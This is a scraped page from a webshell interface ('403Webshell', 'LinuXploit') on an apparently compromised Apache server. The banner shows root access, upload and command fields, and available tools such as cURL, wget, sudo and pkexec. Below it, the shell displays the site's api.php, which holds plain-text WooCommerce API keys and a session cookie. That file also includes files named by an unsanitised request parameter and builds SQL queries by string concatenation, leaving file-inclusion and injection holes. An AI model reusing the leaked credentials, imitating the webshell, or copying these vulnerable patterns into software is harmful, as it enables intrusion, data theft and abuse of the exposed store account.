403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.217.122
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/jetcounter/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/jetcounter/api.php
<?php

include("wp-config.php");
$dbserver=constant("DB_HOST");
$dbusername=constant("DB_USER");
$dbpassword=constant("DB_PASSWORD");
$database_name=constant("DB_NAME");
$license_key = trim($_REQUEST['license_key']);
$con = mysqli_connect($dbserver,$dbusername,$dbpassword,$database_name) or die(mysqli_error());
include "apifiles/".$_REQUEST['action'].".php";

function callAPI($url,$method='POST',$data='{}'){
      $consumer_key="ck_35c49c150bda3d42f5b9eb19fd31d530ca30f9cb"; 
     $consumer_secret="cs_87a9383a1e8fa6b0f947439183b20de7e23b4721"; 
    // return "https://jetcounter.varianceinfotech.net/wp-json/wc/v3/".$url ."?consumer_key=".$consumer_key."&consumer_secret=".$consumer_secret;
    $curl = curl_init();
    curl_setopt_array($curl, array(
    CURLOPT_URL =>  "https://shop.jetcounter.co/wp-json/wc/v1/".$url ."?consumer_key=".$consumer_key."&consumer_secret=".$consumer_secret,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_ENCODING => '',
    CURLOPT_MAXREDIRS => 10,
    CURLOPT_TIMEOUT => 0,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
    CURLOPT_CUSTOMREQUEST => $method,
    CURLOPT_POSTFIELDS => $data,
    CURLOPT_HTTPHEADER => array(
        'Accept:  */*',
        'Content-Type: application/json',
        'Cookie: PHPSESSID=10281617fa3ad81b3b1854c06a3c8fcc'
        ),
    ));
     $response = curl_exec($curl);   
    $res=json_decode($response,true);
    curl_close($curl);
    return $res;
}


function insertDataFromArray($data,$table) {
    global $con ; 
    // Prepare the insert query
    $columns = implode(", ", array_keys($data));
    $values = implode("', '", array_values($data));
    $sql = "INSERT INTO ".$table." ($columns) VALUES ('$values')";

    // Execute the insert query
    if (mysqli_query($con, $sql)) {
       // echo "New record created successfully";
    } else {
      //  echo "Error: " . $sql . "<br>" . mysqli_error($conn);
    } 
 }

mysqli_close($con);
?>

Youez - 2016 - github.com/yon3zu
LinuXploit